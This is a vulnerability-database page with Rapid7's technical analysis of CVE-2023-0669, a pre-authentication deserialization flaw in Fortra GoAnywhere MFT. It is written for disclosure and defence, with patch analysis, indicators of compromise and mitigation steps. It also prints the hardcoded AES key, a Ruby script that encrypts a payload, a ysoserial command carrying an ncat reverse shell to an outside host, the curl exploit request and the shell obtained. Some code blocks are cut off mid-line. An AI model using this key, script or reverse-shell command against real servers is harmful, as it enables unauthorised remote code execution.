ATTACKER VALUE
VERY HIGH
(2 users assessed)

EXPLOITABILITY
VERY HIGH
(2 users assessed)

9

USER INTERACTION
None

CVE-2023-0669

Disclosure Date: February 06, 2023 · (Last up

CVE-2023-0669 CVSS v3 Base Score: 7.2

Exploited in the Wild

Reported by mkienow-r7 and 2 more...
View Source Details

Report As Exploited in the Wild

MITRE ATT&CK

Log in to add MITRE ATT&CK tag

Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Metasploit Module

exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669

CISA KEV Listed | Difficult to patch | Easy to weaponize | Observed in ransomware attacks | Observed in state-sponsored attacks

Unauthenticated | Vulnerable in default configuration | Authenticated | Requires elevated access

Description

Fortra (formerly, HelpSystems) GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. This issue was patched in version 7.1.2.

Ratings & Analysis | Vulnerability Details | RAPID7 Analysis

Rapid7

February 06, 2023 8:35pm UTC (3 years ago) • Last updated February 13, 2023 4:48pm UTC (3 years ago)

Technical Analysis

Description

On February 1, 2023, Fortra (formerly HelpSystems) posted a security advisory for a remote pre-authentication remote code execution vulnerability in their GoAnywhere MFT managed file transfer solution. The advisory requires a (free) account in order to view; notably, hiding security advisories behind a customer portal is something we heavily discourage. It's optimal when this type of information is public so users can stay informed and protect themselves as easily as possible.

As of this writing, no patch is available, but Fortra has posted steps to mitigate the issue by disabling the licensing service.

Based on the mitigations published by Fortra, we confirmed that this is a pre-authentication deserialization issue. To exploit the vulnerability, you either need network-level access to GoAnywhere MFT's administration port (by default, port 8000), but this can also be exploited via an internal user's browser, as we'll demonstrate below.

Updated on 2023-02-13

On February 7, 2023, Fortra released version 7GoAnywhere MFT 7.1.2 to resolve this issue. We added an analysis of the patch below.

Technical analysis

The vendor's advisory was helpful, since it points to the vulnerable endpoint:

```
<servlet>
     <servlet-name>License Response Servlet</servlet-name>
     <servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class>
     <load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
     <servlet-name>Licenses Response Servlet</servlet-name>
     <url-pattern>/lic/accept/</url-pattern>
```

ATTACKER VALUE
VERY HIGH

9

CVE-2023-0669

```
    public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException
{
        Response response = null;
        try {
            response = LicenseAPI.getResponse(httpServletRequest.getParameter(LicenseServer.BUNDLE_PARAM));
        } catch (Exception e) {
            LOGGER.error("Error parsing license response", (Throwable) e);
            httpServletResponse.sendError(500);
        }
        httpServletRequest.getSessio
        httpServletRequest.getSessio                                                    key(), ADMIN_LICENSE_OUTCOME);
        httpServletResponse.sendRedi                                                    erverName() + ":" +
httpServletRequest.getServerPort() +
    }

    public void doGet(HttpServletRequ                                                   rows ServletException, IOException {
        doPost(httpServletRequest, ht
    }
```


From that, we know it's a `GET` or `POST` requ nd the logic in `LicenseAPI.getResponse()`, which simply calls `LicenseController.getR`

```
    /* JADX INFO: Access modifiers ch
    public static Response getResponse(String str) throws BundleException, JAXBException {
        return (Response) inflate(BundleWorker.unbundle(str, getProductKeyConfig(getVersion(str))), Response.class); // getVersion will be 2
    }
```

The `getProductKeyConfig()` code isn't important, so let's look at `BundleWorker.unbundle()`:

```
    /* JADX INFO: Access modifiers changed from: protected */
    public static String unbundle(String str, KeyConfig keyConfig) throws BundleException {
        try {
            if (!"1".equals(keyConfig.getVersion())) {
                str = str.substring(0, str.indexOf("$"));
            }
            return new String(decompress(verify(decrypt(decode(str.getBytes(StandardCharsets.UTF_8)), keyConfig.getVersion()), keyConfig)),
StandardCharsets.UTF_8);
        } catch (CryptoException e) {
            // [...]
        }
    }
```

The important line is the last one in the `try` block. First, it calls `decode()`, which is base64 decoding:

```
    private static byte[] decode(byte[] bArr) {
        return Base64.decodeBase64(bArr);
    }
```

Then it passes that into `decrypt()`, which, through several abstractions, eventually uses the following encryption configuration in `com.linoma.license.gen2.LicenseEncryptor`:

```
    private static final byte[] IV = {65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100};

    // [...]

    public void initialize(boolean z) throws Exception {
        if (!z) {
            this.encryptor = new Encryptor(new StandardEncryptionEngine(getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding"));
        }
        this.encryptorV2 = new Encryptor(new StandardEncryptionEngine(getInitializationValueV2(), IV, "AES", "AES/CBC/PKCS5Padding"));
        this.initialized = true;
    }

    private byte[] getInitializationValue() throws Exception {
        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new
String("go@nywhereLicenseP@$$wrd".getBytes(), "UTF-8").toCharArray(), new byte[]{-19, 45, -32, -73, 65, 123, -7, 85}, 9535,
256)).getEncoded();
    }

    private byte[] getInitializationValueV2() throws Exception {
        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new
String("pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R".getBytes(), "UTF-8").toCharArray(), new byte[]{99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75,
104, 107, 56, 73}, 3392, 256)).getEncoded();
```

The `V2` variation of the function is what we'll use. It generates a key based on a static string. We simply ran that function in our own Java application to pull that string out:

```
$ cat Test.java
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

public class Test {
  public static void main(String[] args) throws Exception {
```

ATTACKER VALUE
VERY HIGH

9

CVE-2023-0669

```
$ javac Test.java && java Test | hexdump -C
00000000  0e 69 a3 83 9b 6e cf 45  64 9b 86 1f 4a 27 17 1b  |.i...n.Ed...J'..|
00000010  66 87 0c 95 67 a4 14 4e  ba f3 d5 2f dc 40 64 ca  |f...g..N.../.@d.|
```

That's the encryption key that the licensing bundle is encrypted with. The IV is hardcoded, and is the literal string `"AES/CBC/PKCS5Pad"`. Based on the key length, we know it's AES-256. With all this in mind, we can encrypt our own licensing blob:

```
require 'base64'
require 'openssl'

PAYLOAD = File.read(ARGV[0])
KEY = "\x0e\x69\xa3\x83\x9b\x6e\xcf\x45\x64\x9b\x86\x1f\x4a\x27\x17\x1b\x66\x87\x0c\x95\x67\xa4\x14\x4e\xba\xf3\xd5\x2f\xdc\x40\x64\xca"
IV = "AES/CBC/PKCS5Pad"

cipher = OpenSSL::Cipher::AES.new('256-CBC')
cipher.encrypt
cipher.iv = IV
cipher.key = KEY
encryptedObject = cipher.update(PAYL
print Base64::urlsafe_encode64(encryp
```


Once the `decrypt()` function completes, t

```
    private static byte[] verify(byte                                    NotFoundException,
NoSuchAlgorithmException, InvalidKeyE                                    eException, KeyStoreException {
        ObjectInputStream objectInput
        try {
            String str = JCAConstants
            if ("2".equals(keyConfig
                str = JCAConstants.S
            }
            PublicKey publicKey = getPublicKey(keyConfig);
            ObjectInputStream objectInputStream2 = new ObjectInputStream(new ByteArrayInputStream(bDecryptedObject));
            SignedObject signedObject = (SignedObject) objectInputStream2.readObject();
            if (!signedObject.verify(publicKey, Signature.getInstance(str))) {
                throw new IOException("Unable to verify signature!");
            }
            byte[] data = ((SignedContainer) signedObject.getObject()).getData();
            if (objectInputStream2 != null) {
                objectInputStream2.close();
            }
            return data;
        } catch (Throwable th) {
            if (0 != 0) {
                objectInputStream.close();
```

That code loads the decrypted object as a Java object, specifically a `SignedObject`; however, the `objectInputStream2.readObject()` call is enough to know that this is a deserialization issue. So we can generate a payload with `ysoserial`:

```
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ncat -e /bin/bash 10.0.0.179 4444" > payload.ser
```

Then we encrypt it with our PoC tool and send with `curl` (the `$2` is a version number; version 1 has a different key, but is otherwise essentially the same):

```
$ curl -ikX POST 'http://10.0.0.219:8000/goanywhere/lic/accept?bundle='$(ruby ./poc-cve-2023-0669.rb ./payload.ser)'$2' > /dev/null
```

And, sure enough, we get a shell back:

```
$ nc -v -l -p 4444
[...]
Ncat: Connection from 10.0.0.219.
Ncat: Connection from 10.0.0.219:46832.
whoami
ron
```

Cross-site request forgery

The way this licensing code is *supposed* to work is:

- The administrator installs GoAnywhere MFT with no license
- When the administrator visits their installation, they're sent to an internet URL, https://my.goanywhere.com/lic/request?bundle=p55wfyVKXDVM_bAVZtD[...]
- The user authenticates and selects their license and everything
- my.goanywhere.com redirects the user back to their server, on the endpoint `/goanywhere/lic/accept`, with the `bundle=` parameter set to the encrypted and serialized license object (that we saw earlier). The redirect looks something like:

```
HTTP/2 302 Found
Date: Fri, 03 Feb 2023 21:25:04 GMT
Content-Length: 0
Location: http://10.0.0.219:8000/goanywhere/lic/accept?bundle=p55[...]A$2
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=174z370fjp; Path=/; Secure; HttpOnly
Cf-Cache-Status: DYNAMIC
Server: cloudflare
```

ATTACKER VALUE
VERY HIGH

9

CVE-2023-0669

```
GET /goanywhere/lic/accept?bundle=p55[...]A$2 HTTP/1.1
Host: 10.0.0.219:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASESSIONID=7323629B297CCCF064A4DD729FB39259; oam.Flash.RENDERMAP.TOKEN=mbh72tm61; RSESSIONID=B6F99157BC687B76E05193E687EFB336;
admin_language=en
Upgrade-Insecure-Requests: 1
```

The administrator's server decrypts, loads, and verifies the license, and the server is either licensed (or isn't).

Note that there is no CSRF protection (and the cookie is not actually required, so no authentication is required to exploit this issue). That means that this can, *by design*, be exploited via cross-site request forgery—based on how the licensing works, the user is supposed to be redirected to that endpoint by a server that's not on their network.

What all this means is that a sufficiently clever attacker who is familiar with the target network can target a user with network-level access to the administration port, and redirect the user's browser (via an open redirect or phishing message or something else) to the vulnerable server.

Patch Analysis

On February 7, 2023, Fortra released a pat… …ploit module against the patched version, we get an HTTP/400 error:

```
msf6 exploit(multi/http/fortra_goanyw…
RHOSTS => 10.0.0.219
msf6 exploit(multi/http/fortra_goanyw…
LHOST => 10.0.0.179
msf6 exploit(multi/http/fortra_goanyw…

[*] Started reverse TCP handler on 10…
[-] Exploit aborted due to failure: u…                                    …ceived HTTP/400
[*] Exploit completed, but no session…
```


In the logs, we can see that the request was rejected due to being from an "invalid session":

```
2/8/23, 2:31:49 PM ERROR An error occurred while processing the request URI '/goanywhere/lic/accept/0ec5b0f4-c0a7-4df9-abfd-e9ccff5c5e89'
from the ip address '10.0.0.179'. The HTTP status code is '500'
2/8/23, 2:53:24 PM ERROR Unauthorized bundle from invalid session: _ej
```

Looking at the `LicenseResponseServlet` class again, we see where that error message came from:

```
public class LicenseResponseServlet extends HttpServlet {
    // [...]
    public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException
{
        String parameter = httpServletRequest.getParameter(LicenseServer.BUNDLE_PARAM);
        String[] split = httpServletRequest.getRequestURI().split("/");
        if (!SessionUtilities.isLicenseRequestTokenValid(split[split.length - 1], httpServletRequest.getSession())) {
            LOGGER.error("Unauthorized bundle from invalid session: " + parameter);
            httpServletResponse.sendError(400);
            httpServletRequest.getSession().removeAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey());
            return;
        }
        // [...]
    }
    // [...]
}
```

The new code in `SessionUtilities.isLicenseRequestTokenValid()` checks a random UUID that is generated when performing the licensing request and stored in the session:

```
    public static boolean isLicenseRequestTokenValid(String str, HttpSession httpSession) {
        if (httpSession != null) {
            String str2 = (String) httpSession.getAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey());
            if (str != null && str.equals(str2)) {
                return true;
            }
            return false;
        }
        return false;
    }
```

That token is basically an anti-CSRF token, and is sent to the server as part of the encrypted bundle. But because the bundle is symmetrically encrypted, we can actually get access to that value. We can get the encrypted bundle from a new server (with no license installed) by requesting the manual activation page:

```
$ curl 'http://10.0.0.219:8000/goanywhere/license/ManualLicense.xhtml'
[...]
p55wfyVKXDVM/bAVZtDLOg[.......]$2
[...]
```

That page isn't accessible (anonymously) once a license has been installed, though. But after trying different requests, we noticed that you can append a character to the `Unlicensed.xhtml` page to view it even after licensing the server. Here's an example, where we changed the page to `Unlicensed.xhtmlx`:

```
$ curl -i 'http://10.0.0.219:8000/goanywhere/license/Unlicensed.xhtmlx?GARequestAction=activate'
HTTP/1.1 302
[...]
Set-Cookie: ASESSIONID=CE484D19BEF02A4C4093EFA1F5626B54; Path=/goanywhere; HttpOnly
Location: https://my.goanywhere.com:443/lic/request?bundle=p55wfyVKXDVM/bAVZtDLOg[.......]$2
Content-Length: 0
```

ATTACKER VALUE
VERY HIGH

9

CVE-2023-0669

```
import com.linoma.license.gen2.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.nio.charset.StandardCharsets;
import java.security.SignedObject;
import java.util.zip.GZIPInputStream;
import org.apache.commons.codec.bina
import org.apache.commons.io.IOUtils

public class DecodeBundle {
  public static void main(String[] a
    // Initialize the encryption cod
    LicenseEncryptor.getInstance().i

    // Decode the base64
    byte []decoded = Base64.decodeBa

    // Decrypt the AES
    byte []decrypted = LicenseEncryp
```


It has to be compiled and executed using

```
$ export CP=".:GoAnywhere-7.1.2/lib/licenseapi-2.0-4.0.1.jar:GoAnywhere-7.1.2/lib/linoma-security-commons-1.0.0.jar:GoAnywhere-
7.1.2/lib/commons-io-2.11.0.jar:GoAnywhere-7.1.2/lib/commons-codec-1.15.jar:GoAnywhere-7.1.2/lib/linoma-security-core-1.0.0.jar"

$ javac -cp $CP DecodeBundle.java && java -cp $CP DecodeBundle "p55[...]k"
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<request v="2" t="1">
    <r>
        <process>http://10.0.0.219:8000/goanywhere/lic/accept/5bc7e61c-b3ac-4ec4-82d6-21d51213675a</process>
        <cancel>http://10.0.0.219:8000/goanywhere/license/Unlicensed.xhtml</cancel>
    </r>
    <p c="1" v="7.1.2"/>
    <s os="Linux">
        <u>00-0C-29-47-38-B5</u>
    </s>
</request>
```

It successfully decrypted the token, giving us a `<process>` and `<cancel>` link. The `<process>` link specifically contains the full URL you need to successfully pass the new `LICENSE_REQUEST_TOKEN` check. Here's how we can send the same payload (note that we also need the session ID cookie – `ASESSIONID`):

```
$ curl -ib 'ASESSIONID=CE484D19BEF02A4C4093EFA1F5626B54' -ik 'http://10.0.0.219:8000/goanywhere/lic/accept/d2d80248-5013-41b8-8cbf-
1c1ca9bc3541?bundle='$(ruby ./poc-cve-2023-0669.rb ./payload.ser)'$2'
HTTP/1.1 500
X-UA-Compatible: IE=edge
[...]
```

With that change, we are now back to the HTTP/500 error from earlier! But in the logs, we see a new error:

```
com.linoma.license.gen2.BundleException: Class name not accepted: java.util.PriorityQueue
        at com.linoma.license.gen2.BundleWorker.unbundle(BundleWorker.java:136)
        at com.linoma.license.gen2.LicenseController.getResponse(LicenseController.java:441)
        at com.linoma.license.gen2.LicenseAPI.getResponse(LicenseAPI.java:304)

[...]

Caused by: java.io.InvalidClassException: Class name not accepted: java.util.PriorityQueue
        at org.apache.commons.io.serialization.ValidatingObjectInputStream.invalidClassNameFound(ValidatingObjectInputStream.java:95)
        at org.apache.commons.io.serialization.ValidatingObjectInputStream.validateClassName(ValidatingObjectInputStream.java:82)
        at org.apache.commons.io.serialization.ValidatingObjectInputStream.resolveClass(ValidatingObjectInputStream.java:100)
```

That led us to look more closely at the `BundleWorker.validate()` function:

```
   private static byte[] verify(byte[] bArr, KeyConfig keyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException,
InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException {
        ObjectInputStream secureObjectInputStream = getSecureObjectInputStream(bArr, SignedObject.class, byte[].class);
        try {
            String str = JCAConstants.SIGNATURE_DSA_SHA1;
            if ("2".equals(keyConfig.getVersion())) {
                str = JCAConstants.SIGNATURE_RSA_SHA512;
            }
            PublicKey publicKey = getPublicKey(keyConfig);
            SignedObject signedObject = (SignedObject) secureObjectInputStream.readObject();

            if (!signedObject.verify(publicKey, Signature.getInstance(signatureType))) {
                throw new IOException("Unable to verify signature!");
            }
            byte[] data = ((SignedContainer) signedObject.getObject()).getData();
            if (secureObjectInputStream != null) {
                secureObjectInputStream.close();
            }
            return data;
        } catch (Throwable th) {
```

ATTACKER VALUE
VERY HIGH

9

CVE-2023-0669

keystore. We verified that we don't have the associated private key, nor can we modify fields in `SignedObject` to force the `verify()` call to pass, so this signature check appears to prevent further exploitation.

So in the end, we were able to bypass the new `LICENSE_REQUEST_TOKEN` requirement, but the `ValidatingObjectInputStream` and `SignedObject` prevents a malicious object from being deserialized.

IOCs

The vendor's advisory suggests the following:

```
Search the userdata/logs/[system_name]-goanywhere.log files on your system.

NOTE: By default there are 10 logs that are archived when a log size reaches 5 MB. [system_name] represents each system or node in your
cluster. You should search all of these 10 archive logs for all systems/nodes in your cluster. Standalone (non-HA) logs will be
goanywhere.log, goanywhere.log1, goanywhere.log2, etc.)

The search term should be for the following line:

java.lang.RuntimeException: Invocati
     at org.apache.commons.beanutils
     at java.util.PriorityQueue.siftD
     at java.util.PriorityQueue.siftD
     at java.util.PriorityQueue.heapi
     at java.util.PriorityQueue.readO
```


We confirmed that that's the error that ou ttacker can delete that logfile if they choose.

Guidance

As of writing, this issue is not patched, and ccess to the administrator port is restricted to the least number of users po er, it only raises the bar.

The vendor advises that user's remove acc

```
-   Disable the LicenseResponseServlet as follows:
-   On the file system where GoAnywhere MFT is installed, edit the file [install_dir]/adminroot/WEB-INF/web.xml
-   Find and remove (delete or comment out) the following servlet and servlet-mapping configuration in the screenshot below.

**Before:**

          <servlet>
                    <servlet-name>License Response Servlet</servlet-name>
                    <servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class>
                    <load-on-startup>0</load-on-startup>
          </servlet>

          <servlet-mapping>
                    <servlet-name>License Response Servlet</servlet-name>
                    <url-pattern>/lic/accept</url-pattern>
          </servlet-mapping>

**After:**

<!--

Add these tags to comment out the following section (as shown) or simply delete this section if you are not familiar with XML comments
```

We confirmed that the mitigation steps work.

References

- Advisory (requires you to create an account)
- Rapid7 Blog
- frycos' writeup